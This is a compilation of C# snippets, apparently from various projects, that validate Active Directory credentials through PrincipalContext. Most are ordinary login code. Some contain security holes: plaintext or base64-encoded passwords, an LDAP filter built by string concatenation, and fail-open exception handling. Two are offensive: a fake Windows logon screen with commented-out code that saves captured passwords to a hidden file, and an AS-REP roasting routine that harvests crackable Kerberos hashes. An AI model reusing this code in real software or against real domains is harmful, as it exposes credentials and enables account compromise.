public ValidationResult ValidateUser(string username, string password) { ValidationResult result = ValidationResult.Failure; if (String.IsNullOrEmpty(username)) { throw new ArgumentException("Value cannot be null or empty", "userName"); } if (String.IsNullOrEmpty(password)) { throw new ArgumentException("Value cannot be null or empty", "password"); } try { string domain = GetDomainFromUsername(username); if (String.IsNullOrEmpty(domain)) { domain = Configuration.ActiveDirectorySettings.DefaultDomain; } using (PrincipalContext principalContext = new PrincipalContext(ContextType.Domain, domain)) { if (principalContext.ValidateCredentials(username, password)) { using (UserPrincipal user = UserPrincipal.FindByIdentity(principalContext, username)) { using (GroupPrincipal group = GroupPrincipal.FindByIdentity(principalContext, Configuration.ActiveDirectorySettings.MemberGroupName)) { if (group == null) { result = ValidationResult.Failure; } if (user != null) { if (!group.GetMembers(true).Contains(user)) { result = ValidationResult.NotAuthorized; } else { ADBackend.Instance.Users.AddOrUpdate(new UserModel { Name = user.UserPrincipalName, GivenName = user.GivenName ?? String.Empty, Surname = user.Surname ?? String.Empty, Email = user.EmailAddress ?? String.Empty, }); result = ValidationResult.Success; } } } } } } } catch { result = ValidationResult.Failure; } return(result); }
/// <summary> /// Using the Principal context of server domain.(Very easy) /// </summary> /// <param name="UserName"></param> /// <param name="Password"></param> /// <param name="ServerDns">Ejemplo:mxrexsv01</param> /// <returns></returns> public static bool ValidateUserDNS(string UserName, string Password, string ServerDns) { PrincipalContext Pc = new PrincipalContext(ContextType.Domain, ServerDns); return(Pc.ValidateCredentials(UserName, Password)); }
public AuthenticationResult SignIn(String username, String password) { ContextType authenticationType = ContextType.Domain; var DBContext = new DBEntities(); var user = from USUARIOS in DBContext.USUARIOS where (USUARIOS.USUARIO == username) select USUARIOS; USUARIOS u = new USUARIOS(); AUDITORIAS au = new AUDITORIAS(); if (user.Any()) { foreach (var iuser in user) { u = iuser; } } else { u.CONTRASENA = password; u.USUARIO = username; u.IDROLE = 2; DBContext.USUARIOS.Add(u); DBContext.SaveChanges(); } au.USUARIOS = u; au.ACCION = "LDAP_REQUEST"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); PrincipalContext principalContext = new PrincipalContext(authenticationType); bool isAuthenticated = false; UserPrincipal userPrincipal = new UserPrincipal(principalContext); userPrincipal.SamAccountName = username; var searcher = new PrincipalSearcher(userPrincipal); try { isAuthenticated = principalContext.ValidateCredentials(username, password, ContextOptions.Negotiate); au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_CONNECT"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); if (isAuthenticated) { userPrincipal = searcher.FindOne() as UserPrincipal; } } catch (Exception) { au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_FAILED"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); isAuthenticated = false; userPrincipal = null; } if (!isAuthenticated || userPrincipal == null) { au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_BADLOGIN"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); return(new AuthenticationResult("Usuario o Contraseña incorrectos")); } if (userPrincipal.IsAccountLockedOut()) { au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_LOCKED"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); return(new AuthenticationResult("Cuenta bloqueada")); } if (userPrincipal.Enabled.HasValue && userPrincipal.Enabled.Value == false) { au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_DISABLED"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); return(new AuthenticationResult("Cuenta deshabilitada")); } au = new AUDITORIAS(); au.USUARIOS = u; au.ACCION = "LDAP_SUCCESS"; au.TIMESTAMP = DateTime.Now; DBContext.AUDITORIAS.Add(au); DBContext.SaveChanges(); var identity = CreateIdentity(userPrincipal); authenticationManager.SignOut(MyAuthentication.ApplicationCookie); authenticationManager.SignIn(new AuthenticationProperties() { IsPersistent = false }, identity); return(new AuthenticationResult()); }
protected virtual bool ValidateCredentials(PrincipalContext principalContext, string userNameOrEmailAddress, string plainPassword) { return(principalContext.ValidateCredentials(userNameOrEmailAddress, plainPassword, ContextOptions.Negotiate)); }
private Boolean LoginActive(string username, string password, string dominio) { try { // create a "principal context" - e.g. your domain (could be machine, too) using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, dominio)) { Boolean isValid = false; // validate the credentials isValid = pc.ValidateCredentials(username, password); Employee entidad = new Employee(); entidad.Usuario_Red = username.Trim(); EmpleadosCOM empleados = new EmpleadosCOM(); string finger_print = "e"; DataTable dt = empleados.GetLogin(username, finger_print); string vmensaje = ""; if ((isValid || dt.Rows.Count > 0) && finger_print != "") { isValid = true; DataRow row = dt.Rows[0]; String os = "VENTANA EMERGENTE"; String os_vers = "VENTANA EMERGENTE"; String browser = "VENTANA EMERGENTE"; String device = "VENTANA EMERGENTE"; String ip = ""; String lat = ""; String lon = ""; String region = ""; String proveedor = ""; String modelo = ""; bool bloqueado = Convert.ToBoolean(row["dispositivo_bloqueado"]); if (bloqueado) { vmensaje = "Este dispostivo(" + device + " " + modelo + " " + os + " " + os_vers + ") fue bloqueado para el inicio de sesión. Si usted no realizo esta configuración, comuniquese al departamento de sistemas."; isValid = false; } else { string adress = ""; if (Convert.ToInt32(row["num_empleado"]) > 0) { DirectoryInfo dirInfo = new DirectoryInfo(Server.MapPath("~/img/users/"));//path local DirectoryEntry directoryEntry = new DirectoryEntry("LDAP://" + dominio, username, password); //Create a searcher on your DirectoryEntry DirectorySearcher adSearch = new DirectorySearcher(directoryEntry); adSearch.SearchScope = SearchScope.Subtree; //Look into all subtree during the search adSearch.Filter = "(&(ObjectClass=user)(sAMAccountName=" + username + "))"; //Filter information, here i'm looking at a user with given username SearchResult sResult = adSearch.FindOne(); //username is unique, so I want to find only one string name = dirInfo.ToString() + username + ".png"; string imagen = ""; if (!File.Exists(name)) { if (sResult.Properties["thumbnailPhoto"].Count > 0) { byte[] array_img = sResult.Properties["thumbnailPhoto"][0] as byte[]; //Get the property info imagen = GuardarImagenUsuario(array_img, username + ".png"); } } adress = sResult.Properties["mail"][0].ToString(); } string nombre = Convert.ToInt32(row["num_empleado"]) > 0 ? (funciones.SplitLastIndex(row["First_Name"].ToString().Trim(), ' ') + " " + funciones.SplitLastIndex(row["Last_Name"].ToString().Trim(), ' ')) : row["First_Name"].ToString().Trim() + " " + row["Last_Name"].ToString().Trim(); string puesto = (row["puesto"].ToString().Trim()); string perfil = row["perfil"].ToString().Trim().ToLower(); //pasamos aminusculas nombre = nombre.ToLower(); puesto = puesto.ToLower(); nombre = nombre.Replace(" ", " "); //pasamos a estilos title Session["mail"] = adress; Session["imagen"] = username + ".png"; Session["usuario"] = username; Session["password"] = password; Session["contraseña"] = password; string nombre_pro = row["nombre_provicional"].ToString(); Session["nombre"] = nombre_pro != "" ? nombre_pro : CultureInfo.InvariantCulture.TextInfo.ToTitleCase(nombre); Session["correo"] = row["Company_E_Mail"].ToString().Trim().ToLower(); Session["puesto"] = CultureInfo.InvariantCulture.TextInfo.ToTitleCase(puesto); Session["perfil"] = CultureInfo.InvariantCulture.TextInfo.ToTitleCase(perfil); Session["id_perfil"] = Convert.ToInt32(row["id_perfil"]); Session["NumJefe"] = Convert.ToInt32(row["NumJefe"]); Session["num_empleado"] = Convert.ToInt32(row["num_empleado"]); Session["mostrar_recordatorios"] = Convert.ToBoolean(row["mostrar_recordatorios"]); Session["alerta_inicio_sesion"] = Convert.ToBoolean(row["alerta_inicio_sesion"]); bool ver_Todos = Convert.ToBoolean(row["ver_todos_empleados"]); Session["ver_Todos_los_empleados"] = ver_Todos; DateTime fecha_inicio_sesion = DateTime.Now; Session["os"] = os; Session["os_vers"] = os_vers; Session["browser"] = browser; Session["device"] = device; Session["ip"] = ip; Session["fecha_inicio_sesion"] = fecha_inicio_sesion; usuarios_sesiones e = new usuarios_sesiones(); UsuariosSesionesCOM sesion = new UsuariosSesionesCOM(); e.usuario = username.Trim().ToUpper(); e.os = os; e.os_version = os_vers; e.navegador = browser; e.fecha_inicio_sesion = DateTime.Now; e.ip = ip; e.device = device; e.latitud = lat; e.longitud = lon; e.region = region; e.proveedor = proveedor; e.model = modelo; e.activo = true; e.device_fingerprint = finger_print; int id_usuario_sesion = sesion.Exist(e.usuario, e.device_fingerprint) ? sesion.Editar(e) : sesion.Agregar(e); UsuariosCOM usuarios_ = new UsuariosCOM(); usuarios usuario = new usuarios { usuario = username.ToUpper().Trim(), temporal = false, fecha_vencimiento = null, contraseña = funciones.deTextoa64(password), puesto = CultureInfo.InvariantCulture.TextInfo.ToTitleCase(puesto), nombres = CultureInfo.InvariantCulture.TextInfo.ToTitleCase(row["First_Name"].ToString()), a_paterno = CultureInfo.InvariantCulture.TextInfo.ToTitleCase(row["Last_Name"].ToString()), correo = row["Company_E_Mail"].ToString().Trim().ToLower(), usuario_alta = username.ToUpper().Trim(), No_ = Convert.ToInt32(row["num_empleado"]).ToString(), path_imagen = username + ".png" }; if (!usuarios_.Exist(username)) { usuarios_.Agregar(usuario); } else { usuarios_.Editar(usuario); } if (id_usuario_sesion > 0) { Session["devices_conectados"] = UpdateDevices(username); Session["id_usuario_sesion"] = id_usuario_sesion; } else { vmensaje = "No se pudo registrar el inicio de sesión en el servidor. Intentelo nuevamente."; isValid = false; } } } else { vmensaje = "Credenciales invalidas"; } if (vmensaje != "") { Toast.Error(vmensaje, this.Page); isValid = false; } return(isValid); } } catch (Exception ex) { Toast.Error(ex.Message, this.Page); return(false); } }
/// <summary> /// Check if username and password matches existing account in AD. /// </summary> /// <param name="username"></param> /// <param name="password"></param> /// <returns></returns> public AuthenticationResult SignIn(String username, String password, string serverPath) { #if DEBUG // authenticates against your local machine - for development time ContextType authenticationType = ContextType.Domain; #else // authenticates against your Domain AD ContextType authenticationType = ContextType.Domain; #endif if (username.Contains("\\")) { username = username.Split(new char[] { '\\' })[1]; } PrincipalContext principalContext = new PrincipalContext(authenticationType, @"gradient.ru", "DC=gradient,DC=ru", username, password); bool isAuthenticated = false; UserPrincipal userPrincipal = null; try { userPrincipal = UserPrincipal.FindByIdentity(principalContext, username); if (userPrincipal != null) { isAuthenticated = principalContext.ValidateCredentials(username, password, ContextOptions.Negotiate); DirectoryEntry directoryEntry = (DirectoryEntry)userPrincipal.GetUnderlyingObject(); PropertyValueCollection collection = directoryEntry.Properties["thumbnailPhoto"]; if (collection.Value != null && collection.Value is byte[]) { byte[] thumbnailInBytes = (byte[])collection.Value; Bitmap thumbnail = new Bitmap(new MemoryStream(thumbnailInBytes)); string fileName = username; ; if (username.Contains("\\")) { fileName = username.Split(new char[] { '\\' })[1]; } String saveImagePath = string.Format("{0}/{1}.jpg", serverPath, fileName); thumbnail.Save(saveImagePath, ImageFormat.Jpeg); } } } catch (Exception e) { isAuthenticated = false; userPrincipal = null; } if (!isAuthenticated || userPrincipal == null) { return new AuthenticationResult("Неверный логин или пароль"); } if (userPrincipal.IsAccountLockedOut()) { // here can be a security related discussion weather it is worth // revealing this information return new AuthenticationResult("Ваша учетная запись заблокирована."); } if (userPrincipal.Enabled.HasValue && userPrincipal.Enabled.Value == false) { // here can be a security related discussion weather it is worth // revealing this information return new AuthenticationResult("Ваша учетная запись отключена"); } var identity = CreateIdentity(userPrincipal); authenticationManager.SignOut(MyAuthentication.ApplicationCookie); authenticationManager.SignIn(new AuthenticationProperties() { IsPersistent = false }, identity); return new AuthenticationResult(); }
protected void btLogin_Click(object sender, EventArgs e) { MDUserLoginData oMDUser = new MDUserLoginData(); try { if (CheckLogin()) { string username = txtUsername.Text.Trim(); string password = txtPassword.Text.Trim(); ADHelper.LoginResult lgresr = new ADHelper.LoginResult(); lgresr = adHl.Login(username, password); if (lgresr == ADHelper.LoginResult.LOGIN_OK) { DataSet usr = adHl.GetUserDataSet(username); DataTable dtUser = new DataTable(); dtUser = usr.Tables["User"]; string EmpCode = dtUser.Rows[0]["Zip"].ToString(); string email = dtUser.Rows[0]["EmailAddress"].ToString(); // Login Success oMDUser = oUser.LoginSystem(EmpCode); Session["UserLoginData"] = oMDUser; Session["EmpCode"] = EmpCode; Session["UserName"] = username; Session["UserFullName"] = dtUser.Rows[0]["LoginName"].ToString(); if (ViewState["PathURL"] != "") { Response.Redirect(ResolveClientUrl("~/" + ViewState["PathURL"].ToString())); } else { Response.Redirect(ResolveClientUrl("~/Default.aspx")); } } else { string CheckUserInSystem = "false"; CheckUserInSystem = oUser.CheckUserInSystem(txtUsername.Text.Trim()); if (Convert.ToBoolean(CheckUserInSystem)) { bool CheckUserHavePassword = false; CheckUserHavePassword = oUser.CheckUserHavePassword(txtUsername.Text.Trim()); if (CheckUserHavePassword) { oMDUser = oUser.LoginSystem(txtUsername.Text.Trim(), EncryptPassword(txtPassword.Text.Trim())); Session["UserLoginData"] = oMDUser; Session["UserName"] = oMDUser.ListOfUser[0].empCode; Session["UserFullName"] = oMDUser.ListOfUser[0].firstname + " " + oMDUser.ListOfUser[0].lastname; if (ViewState["PathURL"] != "") { string PathURL = "~/" + ViewState["PathURL"].ToString(); Response.Redirect(ResolveClientUrl(PathURL)); } else { Response.Redirect(ResolveClientUrl("~/Default.aspx")); } } else { bool LoginSuccess = false; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain)) { if (pc.ValidateCredentials(txtUsername.Text.Trim(), txtPassword.Text.Trim())) { // Login With AD Server LoginSuccess = true; } } if (LoginSuccess) { // Login Success oMDUser = oUser.LoginSystem(txtUsername.Text.Trim()); Session["UserLoginData"] = oMDUser; Session["UserName"] = oMDUser.ListOfUser[0].empCode; Session["UserFullName"] = oMDUser.ListOfUser[0].fullname; if (ViewState["PathURL"] != "") { Response.Redirect(ResolveClientUrl("~/" + ViewState["PathURL"].ToString())); } else { Response.Redirect(ResolveClientUrl("~/Default.aspx")); } } else { txtUsername.BackColor = Color.Pink; txtPassword.BackColor = Color.Pink; lbError.Text = "Username or Password incorrect!"; txtPassword.Focus(); } } } else { txtUsername.BackColor = Color.Pink; txtPassword.BackColor = Color.Pink; lbError.Text = "Username or Password incorrect!"; txtPassword.Focus(); } } } } catch (Exception) { } }
private void ValidateCredentials() { // Validate password string password = mtbPassword.Text; try { using (PrincipalContext context = new PrincipalContext(Context)) { // If for whatever reason the username couldn't be resolved, the password can most likely also not be validated // Just save the password and close the screen if (string.IsNullOrEmpty(Username)) { success = true; } success = context.ValidateCredentials(Username, password); } } // Could happen in case for example the (local) user's password is empty catch (Exception e) { success = true; Console.WriteLine(e); } // Output result of logon screen /*try * { * if (string.IsNullOrEmpty(password)) * password = "******"; * * // Even if a wrong password is typed, it might be valuable * string line = string.Format("{0}: {1} --> {2}", this.Username, password, success ? "Correct" : "Wrong"); * Console.WriteLine(line); * * // Store username and password in %localappdata%\Microsoft\user.db * string path = string.Format(@"{0}\Microsoft\user.db", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); * using (StreamWriter file = new StreamWriter(path, true)) * { * file.WriteLine(line); * } * * // Hide file * File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System); * Console.WriteLine("Output written to {0}", path); * } * catch (Exception e) * { * Console.WriteLine(e); * }*/ // Ask again if password is incorrect if (!success) { // Show error lblError.Text = "The password is incorrect. Try again."; mtbPassword.Text = string.Empty; // Set focus on password box ActiveControl = mtbPassword; } // If correct password, save and close screen else { // Show all windows again IntPtr lHwnd = FindWindow("Shell_TrayWnd", null); SendMessage(lHwnd, WM_COMMAND, (IntPtr)MIN_ALL_UNDO, IntPtr.Zero); // Exit fake logon screen Application.Exit(); } }
public async Task <ActionResult> Login(LdapLoginViewModel model, string returnUrl) { if (!ModelState.IsValid) { return(View(model)); } bool isAuthenticated; #region AD Authentication using (var context = new PrincipalContext(ContextType.Domain, "dnesvr02.d027.com.tw")) { //透過AD檢查帳號 isAuthenticated = context.ValidateCredentials(model.UserName, model.Password); if (isAuthenticated == false) { ModelState.AddModelError("", "開機帳號或密碼錯誤"); return(View(model)); } //查詢DB有無帳號 ApplicationUser user = UserManager.FindByName(model.UserName); if (user == null) { user = new ApplicationUser(); using (var searcher = new PrincipalSearcher()) { searcher.QueryFilter = new UserPrincipal(context, model.UserName, model.Password, true); UserPrincipal result = (UserPrincipal)searcher.FindOne(); if (result.Enabled == false) { ModelState.AddModelError("", "此帳號已停用"); return(View(model)); } user.Email = result.EmailAddress; user.EmailConfirmed = true; user.UserName = result.SamAccountName; user.FullName = result.DisplayName; user.Section = GetUserSection(result); //Console.WriteLine("UserName:"******"UserEmail:" + result.EmailAddress); //foreach (var g in result.GetGroups()) //{ // if (g.ToString().StartsWith("dne") || g.ToString().Contains("pe")) // { // //Console.WriteLine("User Dept: " + g); // RoleManager // } //} } IdentityResult identityResult = await UserManager.CreateAsync(user, model.Password); if (identityResult != IdentityResult.Success) { foreach (var error in identityResult.Errors) { ModelState.AddModelError("", error); } return(View(model)); } } else { //檢查使用者部門是否有更換 using (var searcher = new PrincipalSearcher()) { searcher.QueryFilter = new UserPrincipal(context, model.UserName, model.Password, true); UserPrincipal result = (UserPrincipal)searcher.FindOne(); //檢查全名,若有更動,則更新 if (!user.FullName.Equals(result.DisplayName)) { user.FullName = result.DisplayName; user.Section = GetUserSection(result); UserManager.Update(user); } } } await SignInManager.SignInAsync(user, isPersistent : false, rememberBrowser : false); return(RedirectToLocal(returnUrl)); } #endregion }
public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "") { Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n"); if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(domainController)) { Console.WriteLine("[*] Target DC : {0}", domainController); } Console.WriteLine(); if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController)) { // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly GetASRepHash(userName, domain, domainController, format, outFile); } else { DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (String.IsNullOrEmpty(domainController)) { if (!String.IsNullOrEmpty(domain)) { // if a foreign domain is specified but no DC, use the domain name as the DC domainController = domain; } else { // otherwise grab the system's current DC domainController = Networking.GetDCName(); } } bindPath = String.Format("LDAP://{0}", domainController); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { Guid guid = directoryObject.Guid; } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { if (String.IsNullOrEmpty(userName)) { userSearcher.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"; } else { userSearcher.Filter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("[X] No users found to AS-REP roast!"); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); Console.WriteLine("[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); GetASRepHash(samAccountName, domain, domainController, format, outFile); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
private void ImpersonationCredentials_FormClosing(object sender, FormClosingEventArgs e) { if (DialogResult != DialogResult.OK) { //User Cancelling, so do nothing return; } if (_authenticationKind == "Windows") { //Validate username/password in domain and cancel closing if invalid bool valid = false; //Try domain first, then machine, then app directory try { using (PrincipalContext context = new PrincipalContext(ContextType.Domain)) { if (context.ValidateCredentials(txtUsername.Text, txtPassword.Text)) { valid = true; } } } catch { try { using (PrincipalContext context = new PrincipalContext(ContextType.Machine)) { if (context.ValidateCredentials(txtUsername.Text, txtPassword.Text)) { valid = true; } } } catch (System.IO.FileNotFoundException) { //FileNotFoundException on some machines because missing registry key, so ignore. http://stackoverflow.com/questions/34971400/c-sharp-cannot-use-principalcontextcontexttype-machine-on-windows-10-the-sy valid = true; } catch { try { using (PrincipalContext context = new PrincipalContext(ContextType.ApplicationDirectory)) { if (context.ValidateCredentials(txtUsername.Text, txtPassword.Text)) { valid = true; } } } catch { //If here, was unable validate, so might still be good credentials (especially if unexpected exception like FileNotFoundException above) valid = true; } } } if (!valid) { MessageBox.Show("Username or password is invalid.", "BISM Normalizer", MessageBoxButtons.OK, MessageBoxIcon.Error); e.Cancel = true; return; } } _username = txtUsername.Text; _password = txtPassword.Text; _privacyLevel = cboPrivacyLevel.Text; }
public void ValidateCredentials_IncorrectUserNamePassword_ThrowsException() { var context = new PrincipalContext(ContextType.Machine); Assert.Throws <Exception>(() => context.ValidateCredentials("userName", "password")); }
public string Initialize(string token, string connection = "", string encryptionKey = "") { if (!string.IsNullOrEmpty(token) && this.repoCache.Contains(token)) { return(token); } else { if (string.IsNullOrEmpty(connection)) { ResourceManagementClient client = new ResourceManagementClient(); client.RefreshSchema(); if (string.IsNullOrEmpty(token)) { return(this.repoCache.Set <ResourceManagementClient>(client)); } else { this.repoCache.Set <ResourceManagementClient>(token, client); return(token); } } else { ConnectionInfo ci = ConnectionInfo.BuildConnectionInfo(connection); ResourceManagementClient client = null; NetworkCredential cred = null; if (!string.IsNullOrEmpty(ci.Domain) && !string.IsNullOrEmpty(ci.UserName) && !string.IsNullOrEmpty(ci.Password)) { bool valid = false; using (PrincipalContext context = new PrincipalContext(ContextType.Domain)) { valid = context.ValidateCredentials(ci.UserName, this.cryptograph.Decrypt(ci.Password, encryptionKey)); } if (valid) { cred = new NetworkCredential(ci.UserName, this.cryptograph.Decrypt(ci.Password, encryptionKey), ci.Domain); } else { throw new Exception("invalid user"); } } else { throw new Exception("invalid user"); } if (cred == null) { throw new Exception("invalid user"); } client = string.IsNullOrEmpty(ci.BaseAddress) ? new ResourceManagementClient(cred) : new ResourceManagementClient(ci.BaseAddress, cred); client.RefreshSchema(); //if (cred == null) //{ // client = string.IsNullOrEmpty(ci.BaseAddress) ? // new ResourceManagementClient() : new ResourceManagementClient(ci.BaseAddress); // client.RefreshSchema(); //} //else //{ // client = string.IsNullOrEmpty(ci.BaseAddress) ? // new ResourceManagementClient(cred) : new ResourceManagementClient(ci.BaseAddress, cred); // client.RefreshSchema(); //} if (string.IsNullOrEmpty(token)) { return(this.repoCache.Set <ResourceManagementClient>(client)); } else { this.repoCache.Set <ResourceManagementClient>(token, client); return(token); } } } }